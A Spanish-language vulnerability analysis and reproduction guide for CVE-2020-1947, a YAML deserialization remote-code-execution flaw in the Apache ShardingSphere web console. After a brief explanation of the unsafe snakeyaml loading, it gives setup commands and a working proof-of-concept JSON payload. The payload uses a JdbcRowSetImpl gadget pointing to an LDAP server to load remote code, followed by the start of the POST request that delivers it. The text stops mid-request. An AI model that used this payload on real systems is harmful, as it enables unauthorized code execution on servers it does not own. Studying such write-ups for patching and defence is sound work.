CVE-2020-1947 ApacheShardingShpereUIYAML análisis y reproducción de vulnerabilidad de ejecución remota de código

Resumen

shardingsphere es un ecosistema de código abierto de Apache, un conjunto de soluciones middleware para bases de datos distribuidas, compuesto por tres frameworks independientes: sharding-jdbc, sharding-proxy y sharding-sidecar, utilizados para proporcionar fragmentación de datos, transacciones distribuidas y gobernanza de bases de datos.

Versiones afectadas

ShardingSphere 4.0.0-RC3, 4.0.0 Componentes como sharding-jdbc, sharding-proxy, sharding-ui, etc.

Entorno de análisis

Apache-shardingsphere-incubating-4.0.0

java version "1.8.0_231"
Java(TM) SE Runtime Environment (build 1.8.0_231-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.231-b11, mixed mode

Análisis de vulnerabilidad

La consola web de shardingsphere utiliza la librería snakeyaml para analizar la entrada YAML con el fin de cargar la configuración de la fuente de datos. snakeyaml permite unmarshal sin validación, permitiendo el análisis y la deserialización. unmarshal() pasa directamente el contenido a yaml.snakeyaml.load() para su análisis. En este momento, si unmarshal recibe un contenido YAML malicioso serializado, provocará una RCE.

Reproducción de la vulnerabilidad

git clone https://github.com/HexChristmas/CVE-2020-1947
cd CVE-2020-1947
docker-compose.yml

Poc

{"name":"CVE-2020-1947","ruleConfiguration":"  encryptors:\n    encryptor_aes:\n      type: aes\n      props:\n        aes.key.value: 123456abc\n    encryptor_md5:\n      type: md5\n  tables:\n    t_encrypt:\n      columns:\n        user_id:\n          plainColumn: user_plain\n          cipherColumn: user_cipher\n          encryptor: encryptor_aes\n        order_id:\n          cipherColumn: order_cipher\n          encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl\n  dataSourceName: ldap://127.0.0.1:1389/CommandObject\n  autoCommit: true"}

Request

POST /api/schema HTTP/1.1
Host: 10.10.20.166:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8